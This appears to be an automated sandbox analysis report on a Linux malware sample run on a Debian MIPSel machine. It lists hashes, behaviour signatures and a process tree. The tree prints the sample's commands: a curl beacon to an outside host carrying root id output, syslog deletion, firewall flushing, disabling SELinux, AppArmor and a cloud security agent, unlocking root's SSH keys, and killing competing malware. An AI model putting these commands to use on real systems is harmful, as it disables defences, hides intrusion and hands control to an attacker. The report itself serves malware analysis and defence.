Analysis
-
max time kernel
150s -
max time network
28s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240226-en -
resource tags
arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
07-03-2024 08:39
Behavioral task
behavioral1
Sample
b84ec8d2286ecb64f4164633be39421b
Resource
ubuntu1804-amd64-20240226-en
Behavioral task
behavioral2
Sample
b84ec8d2286ecb64f4164633be39421b
Resource
debian9-armhf-20240226-en
Behavioral task
behavioral3
Sample
b84ec8d2286ecb64f4164633be39421b
Resource
debian9-mipsbe-20240226-en
Behavioral task
behavioral4
Sample
b84ec8d2286ecb64f4164633be39421b
Resource
debian9-mipsel-20240226-en
General
-
Target
b84ec8d2286ecb64f4164633be39421b
-
Size
60KB
-
MD5
b84ec8d2286ecb64f4164633be39421b
-
SHA1
7b09fb48eefb27acadf53aed331a24211ce78a72
-
SHA256
71b478d4ad418cfb6ec620ea213a3f5c6a64bd34f23d8f43de81df01465bcbad
-
SHA512
f31cbcf9b8a6e935f8ca8341aac462c059a1c08ddeba4986fbd7d2224917bdbaad21d1fb0dfb437b9385998c74e856c36387e7785018f4bea8cc4a217ce87844
-
SSDEEP
1536:/F2cc2/ndOQvL0KKGdAkKFOmm5air0TI9:/F2ccQh2v47ccyI9
Malware Config
Signatures
-
Flushes firewall rules 1 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
Processes:
iptablespid Process 735 iptables -
Attempts to change immutable files 64 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
Processes:
xargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsgrepxargsxargsxargsxargschattrxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargsxargspid Process 1336 xargs 1659 xargs 1665 xargs 999 xargs 908 xargs 966 xargs 1138 xargs 1291 xargs 1331 xargs 881 xargs 1559 xargs 1613 xargs 1647 xargs 959 xargs 758 grep 1296 xargs 1342 xargs 1420 xargs 1467 xargs 731 chattr 1301 xargs 1347 xargs 1490 xargs 1538 xargs 1543 xargs 901 xargs 1164 xargs 1234 xargs 1415 xargs 1569 xargs 1594 xargs 1651 xargs 1675 xargs 839 xargs 1673 xargs 1677 xargs 1064 xargs 1091 xargs 1306 xargs 1395 xargs 1461 xargs 1508 xargs 1514 xargs 894 xargs 978 xargs 1410 xargs 1671 xargs 853 xargs 1171 xargs 1478 xargs 1009 xargs 1131 xargs 1183 xargs 887 xargs 1054 xargs 1286 xargs 1311 xargs 1400 xargs 1405 xargs 1679 xargs 846 xargs 1151 xargs 1189 xargs 1213 xargs -
Disables AppArmor 28 IoCs
Disables AppArmor security module.
Processes:
systemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlpid Process 798 systemctl 786 systemctl 786 systemctl 786 systemctl 810 systemctl 812 systemctl 817 systemctl 793 systemctl 820 systemctl 764 systemctl 764 systemctl 764 systemctl 764 systemctl 786 systemctl 801 systemctl 802 systemctl 805 systemctl 808 systemctl 764 systemctl 806 systemctl 786 systemctl 827 systemctl 764 systemctl 785 systemctl 821 systemctl 823 systemctl 790 systemctl 786 systemctl -
Disables SELinux 10 IoCs
Disables SELinux security module.
Processes:
killgrepgrepkillkillkillkillgrepsetenforcekillpid Process 979 kill 1269 grep 1592 grep 979 kill 979 kill 979 kill 979 kill 1143 grep 763 setenforce 979 kill -
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads CPU attributes 1 TTPs 64 IoCs
Processes:
pspspspspgreppspspspspspspspspspspspspspgreppspspgreppspspskillpspspspspspspspgreppgreppgreppspspgreppspspspspspspspspspspspgreppgreppgrepsysctlpspspspspgrepexim4pgreppspspsdescription ioc Process File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online kill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online sysctl File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online exim4 File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps -
Enumerates kernel/hardware configuration 1 TTPs 32 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
Processes:
systemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctldescription ioc Process File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl -
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
Processes:
pspspspspspspspspspspspspspspspgreppspspspspspspspgreppspspspspspspgreppgreppspspspspspspspspspspspspspspspspspspspsdescription ioc Process File opened for reading /proc/18/cmdline ps File opened for reading /proc/377/status ps File opened for reading /proc/17/status ps File opened for reading /proc/910/status ps File opened for reading /proc/73/status ps File opened for reading /proc/701/cmdline ps File opened for reading /proc/78/stat ps File opened for reading /proc/4/stat ps File opened for reading /proc/self/stat ps File opened for reading /proc/324/cmdline ps File opened for reading /proc/79/stat ps File opened for reading /proc/24/status ps File opened for reading /proc/510/stat ps File opened for reading /proc/114/stat ps File opened for reading /proc/12/status ps File opened for reading /proc/322/cmdline ps File opened for reading /proc/17/cmdline pgrep File opened for reading /proc/20/stat ps File opened for reading /proc/322/stat ps File opened for reading /proc/165/stat ps File opened for reading /proc/3/cmdline ps File opened for reading /proc/14/cmdline ps File opened for reading /proc/705/stat ps File opened for reading /proc/16/cmdline ps File opened for reading /proc/470/cmdline pgrep File opened for reading /proc/707/cmdline ps File opened for reading /proc/13/status ps File opened for reading /proc/sys/kernel/pid_max ps File opened for reading /proc/15/cmdline ps File opened for reading /proc/1025/stat ps File opened for reading /proc/703/status ps File opened for reading /proc/324/status ps File opened for reading /proc/77/cmdline pgrep File opened for reading /proc/15/cmdline pgrep File opened for reading /proc/6/cmdline ps File opened for reading /proc/22/status ps File opened for reading /proc/sys/kernel/osrelease ps File opened for reading /proc/5/status ps File opened for reading /proc/225/cmdline ps File opened for reading /proc/351/stat ps File opened for reading /proc/150/status ps File opened for reading /proc/14/cmdline ps File opened for reading /proc/73/status ps File opened for reading /proc/2/status pgrep File opened for reading /proc/73/status ps File opened for reading /proc/1017/cmdline ps File opened for reading /proc/sys/kernel/osrelease ps File opened for reading /proc/16/cmdline ps File opened for reading /proc/stat ps File opened for reading /proc/165/stat ps File opened for reading /proc/69/status ps File opened for reading /proc/20/stat ps File opened for reading /proc/150/stat ps File opened for reading /proc/13/status ps File opened for reading /proc/3/stat ps File opened for reading /proc/705/status ps File opened for reading /proc/14/status ps File opened for reading /proc/sys/kernel/osrelease ps File opened for reading /proc/704/status ps File opened for reading /proc/tty/drivers ps File opened for reading /proc/sys/kernel/osrelease ps File opened for reading /proc/1163/cmdline ps File opened for reading /proc/5/cmdline ps File opened for reading /proc/1549/status ps
Processes
-
/tmp/b84ec8d2286ecb64f4164633be39421b/tmp/b84ec8d2286ecb64f4164633be39421b1⤵PID:705
-
/usr/bin/idid2⤵PID:711
-
-
/usr/bin/curlcurl "http://oracle.zzhreceive.top/b2f628/idcheck/uid=0(root) gid=0(root) groups=0(root)"2⤵PID:714
-
-
/bin/mkdirmkdir /var/tmp/.system -p2⤵PID:728
-
-
/bin/rmrm -rf /var/log/syslog2⤵PID:730
-
-
/usr/bin/chattrchattr -iua /tmp/2⤵
- Attempts to change immutable files
PID:731
-
-
/usr/bin/chattrchattr -iua /var/tmp/2⤵PID:732
-
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:735
-
-
/usr/bin/sudosudo sysctl "kernel.nmi_watchdog=0"2⤵PID:739
-
/sbin/sysctlsysctl "kernel.nmi_watchdog=0"3⤵PID:749
-
-
-
/sbin/sysctlsysctl "kernel.nmi_watchdog=0"2⤵
- Reads CPU attributes
PID:750
-
-
/usr/bin/chattrchattr -iae /root/.ssh/2⤵PID:752
-
-
/usr/bin/chattrchattr -iae /root/.ssh/authorized_keys2⤵PID:753
-
-
/bin/rmrm -rf "/tmp/addres*"2⤵PID:754
-
-
/bin/rmrm -rf "/tmp/walle*"2⤵PID:755
-
-
/bin/rmrm -rf /tmp/keys2⤵PID:756
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:757
-
-
/bin/grepgrep -i "[a]liyun"2⤵
- Attempts to change immutable files
PID:758
-
-
/bin/psps aux2⤵PID:761
-
-
/bin/grepgrep -i "[y]unjing"2⤵PID:762
-
-
/usr/sbin/setenforcesetenforce 02⤵
- Disables SELinux
PID:763
-
-
/usr/sbin/serviceservice apparmor stop2⤵PID:764
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:765
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:766
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Enumerates kernel/hardware configuration
PID:767
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Enumerates kernel/hardware configuration
PID:772
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Enumerates kernel/hardware configuration
PID:773
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Enumerates kernel/hardware configuration
PID:774
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Enumerates kernel/hardware configuration
PID:776
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Enumerates kernel/hardware configuration
PID:777
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Enumerates kernel/hardware configuration
PID:778
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Enumerates kernel/hardware configuration
PID:779
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Enumerates kernel/hardware configuration
PID:780
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Enumerates kernel/hardware configuration
PID:781
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Enumerates kernel/hardware configuration
PID:782
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Enumerates kernel/hardware configuration
PID:783
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Enumerates kernel/hardware configuration
PID:784
-
-
-
/usr/local/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
PID:764
-
-
/usr/local/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
PID:764
-
-
/usr/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
PID:764
-
-
/usr/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
PID:764
-
-
/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
PID:764
-
-
/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:764
-
-
/bin/systemctlsystemctl disable apparmor2⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:785
-
-
/usr/sbin/serviceservice aliyun.service stop2⤵PID:786
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:787
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:788
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:790
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:798
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:801
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:802
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:805
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:806
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:808
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:810
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:812
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:817
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:820
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:821
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:823
-
-
-
/usr/local/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor
PID:786
-
-
/usr/local/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor
PID:786
-
-
/usr/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor
PID:786
-
-
/usr/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor
PID:786
-
-
/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor
PID:786
-
-
/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:786
-
-
/bin/systemctlsystemctl disable aliyun.service2⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:827
-
-
/bin/grepgrep 185.71.65.2382⤵PID:831
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:832
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:833
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:834
-
-
/bin/grepgrep 140.82.52.872⤵PID:836
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:837
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:838
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:839
-
-
/bin/grepgrep :4432⤵PID:842
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:843
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:844
-
-
/bin/grepgrep -v -2⤵PID:845
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:846
-
-
/bin/grepgrep :232⤵PID:849
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:850
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:851
-
-
/bin/grepgrep -v -2⤵PID:852
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:853
-
-
/bin/grepgrep :4432⤵PID:856
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:857
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:858
-
-
/bin/grepgrep -v -2⤵PID:859
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:860
-
-
/bin/grepgrep :1432⤵PID:863
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:864
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:865
-
-
/bin/grepgrep -v -2⤵PID:866
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:867
-
-
/bin/grepgrep :22222⤵PID:869
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:870
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:871
-
-
/bin/grepgrep -v -2⤵PID:872
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:873
-
-
/bin/grepgrep :33332⤵PID:877
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:878
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:879
-
-
/bin/grepgrep -v -2⤵PID:880
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:881
-
-
/bin/grepgrep :33892⤵PID:883
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:884
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:885
-
-
/bin/grepgrep -v -2⤵PID:886
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:887
-
-
/bin/grepgrep :55552⤵PID:890
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:891
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:892
-
-
/bin/grepgrep -v -2⤵PID:893
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:894
-
-
/bin/grepgrep :66662⤵PID:897
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:898
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:899
-
-
/bin/grepgrep -v -2⤵PID:900
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:901
-
-
/bin/grepgrep :66652⤵PID:903
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:905
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:906
-
-
/bin/grepgrep -v -2⤵PID:907
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:908
-
-
/bin/grepgrep :66672⤵PID:912
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:913
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:914
-
-
/bin/grepgrep -v -2⤵PID:915
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:916
-
-
/bin/grepgrep :77772⤵PID:919
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:920
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:921
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:923
-
-
/bin/grepgrep -v -2⤵PID:922
-
-
/bin/grepgrep :84442⤵PID:926
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:927
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:928
-
-
/bin/grepgrep -v -2⤵PID:929
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:930
-
-
/bin/grepgrep :33472⤵PID:935
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:936
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:937
-
-
/bin/grepgrep -v -2⤵PID:938
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:939
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:942
-
-
/bin/grepgrep -v grep2⤵PID:943
-
-
/bin/grepgrep :33332⤵PID:944
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:945
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:946
-
-
/bin/grepgrep -v grep2⤵PID:949
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:948
-
-
/bin/grepgrep :55552⤵PID:950
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:951
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:952
-
-
/bin/grepgrep -v grep2⤵PID:956
-
-
/bin/psps aux2⤵PID:955
-
-
/bin/grepgrep "kworker -c\\"2⤵PID:957
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:958
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:959
-
-
/bin/grepgrep -v grep2⤵PID:963
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:962
-
-
/bin/grepgrep log_2⤵PID:964
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:965
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:966
-
-
/bin/grepgrep -v grep2⤵PID:969
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:968
-
-
/bin/grepgrep systemten2⤵PID:970
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:971
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:972
-
-
/bin/grepgrep -v grep2⤵PID:975
-
-
/bin/psps aux2⤵PID:974
-
-
/bin/grepgrep netns2⤵PID:976
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:977
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:978 -
/usr/local/sbin/killkill -9 103⤵
- Disables SELinux
PID:979
-
-
/usr/local/bin/killkill -9 103⤵
- Disables SELinux
PID:979
-
-
/usr/sbin/killkill -9 103⤵
- Disables SELinux
PID:979
-
-
/usr/bin/killkill -9 103⤵
- Disables SELinux
PID:979
-
-
/sbin/killkill -9 103⤵
- Disables SELinux
PID:979
-
-
/bin/killkill -9 103⤵
- Disables SELinux
PID:979
-
-
-
/bin/grepgrep -v grep2⤵PID:981
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:980
-
-
/bin/grepgrep voltuned2⤵PID:982
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:983
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:984
-
-
/bin/grepgrep -v grep2⤵PID:986
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:985
-
-
/bin/grepgrep darwin2⤵PID:987
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:988
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:989
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:990
-
-
/bin/grepgrep -v grep2⤵PID:991
-
-
/bin/grepgrep /tmp/dl2⤵PID:992
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:993
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:994
-
-
/bin/grepgrep -v grep2⤵PID:996
-
-
/bin/psps aux2⤵PID:995
-
-
/bin/grepgrep /tmp/ddg2⤵PID:997
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:998
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:999
-
-
/bin/grepgrep -v grep2⤵PID:1001
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1000
-
-
/bin/grepgrep /tmp/pprt2⤵PID:1002
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1003
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1004
-
-
/bin/grepgrep -v grep2⤵PID:1006
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1005
-
-
/bin/grepgrep /tmp/ppol2⤵PID:1007
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1008
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1009
-
-
/bin/grepgrep "/tmp/65ccE*"2⤵PID:1012
-
-
/bin/grepgrep -v grep2⤵PID:1011
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1010
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1013
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1014
-
-
/bin/grepgrep -v grep2⤵PID:1016
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1015
-
-
/bin/grepgrep "/tmp/jmx*"2⤵PID:1017
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1018
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1019
-
-
/bin/grepgrep -v grep2⤵PID:1021
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1020
-
-
/bin/grepgrep "/tmp/2Ne80*"2⤵PID:1022
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1023
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1024
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1025
-
-
/bin/grepgrep -v grep2⤵PID:1026
-
-
/bin/grepgrep IOFoqIgyC0zmf2UR2⤵PID:1027
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1028
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1029
-
-
/bin/grepgrep -v grep2⤵PID:1031
-
-
/bin/psps aux2⤵PID:1030
-
-
/bin/grepgrep 45.76.122.922⤵PID:1032
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1033
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1034
-
-
/bin/grepgrep -v grep2⤵PID:1036
-
-
/bin/psps aux2⤵
